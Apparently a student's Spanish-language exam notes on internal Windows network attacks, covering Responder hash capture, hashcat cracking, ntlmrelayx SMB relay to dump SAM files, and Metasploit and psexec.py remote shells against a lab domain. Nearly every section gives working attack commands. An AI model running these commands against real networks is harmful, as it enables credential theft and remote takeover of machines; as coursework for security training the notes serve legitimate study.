APUNTES EXAMEN:

RESPONDER

responder se hace pasar por un servicio de todos los que tiene disponibles

En el momento en el que algún equipo se quiera conectar a la IP del que origina el Responder es decir, el atacante, pedirá las credenciales para “autenticarse” pero justo en ese momento, sin que el cliente introduzca ningunas credenciales, Responder obtendrá la contraseña del usuario en formato de Hash.

/usr/share/responder/Responder.conf

comando: **sudo responder -I eth0 –Dvw**

Responder quedará a la espera de que algún equipo establezca conexión directa con él

nos aparecerá que se han enviado peticiones “envenenadas” al cliente

Automaticamente en el terminal aparecerá la contraseña “Hasehada”

haschat.exe -m 5600 HashUserDC1.txt rockyou.txt *dónde HashUserDC1.txt es el fichero que contiene el hash obtenido y rouckyou.txt la lista de contraseñas que usaremos

SMB RELAY

En una empresa hay una impresora que puede ser solicitada por cualquier usuario, y por lo que sea esta fuera de servicio y los demas no lo saben

como esta no le va a contestar, SMB Relay le va a decir que él es la impresora y al conectarse, va a descargar todo el fichero SAM del equipo del usuario

se puede saber que equipos tiene esta política desactivada

nmap --script=smb2-security-mode.nse -p445 192.168.83.0/24 -Pn

Diferencia en que tengan o no la firma(porque se deniega los mensajes no firmados): not required NO, required SI

Una vez obtenidas las ips en un fichero que usaremos en el comando de SMB Relay

Desactivar HTTP y SMB del responder.conf

Se ejecuta responder y seguido SMB relay: **ntlmrelayx.py -tf target –smb2support**

Cogera las credenciales de los que se conecten y probara las credenciales en los equipos, descargando el fichero SAM

Mismo procedimiento que responder y tendremos el SAM descargado

SHELL ACCESS CON MSFCONSOLE

módulo "exploit/windows/smb/psexec"

payload "windows/x64/meterpreter/reverse_tcp"

Se tiene que modificar las siguientes opciones:

rhost: máquina a atacar

smbdomain: dominio

smbuser: usuario

smbpass: contraseña del usuario

Lhost = IP de la maquina origen

EJECUTAR EXPLOIT: RUN

PSEXEC.PY

Script Python que permite acceder a la terminal del equipo con un comando. Se requiere de conocer las credenciales del usuario

psexec.py STUCOM.local/UserDC1:Password1@192.168.83.130

*la IP es la de la máquina a atacar